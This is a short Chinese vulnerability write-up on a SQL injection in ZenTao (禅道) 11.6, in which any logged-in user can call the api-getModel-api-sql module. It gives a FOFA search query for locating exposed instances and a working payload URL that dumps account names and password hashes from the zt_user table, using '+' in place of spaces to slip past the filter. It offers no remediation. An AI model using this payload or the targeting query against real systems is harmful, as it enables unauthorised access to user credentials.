C4-3禅道-SQL

漏洞描述：

禅道 11.6 版本中对用户接口调用权限过滤不完善，导致调用接口执行SQL语句导致SQL注入。任意用户**登录后台**后可调用api-getModel-api-sql模块的方法进行sql查询（空格转换为+绕过过滤）。

影响版本：

禅道11.6 任意账户登录后台

网站图片：

网络测绘：

fofa语法：

body:"禅道"

漏洞复现：

payload：

```
http://192.168.110.128/zentao/api-getModel-api-sql-sql=select+account,password+from+zt_user
```

效果图: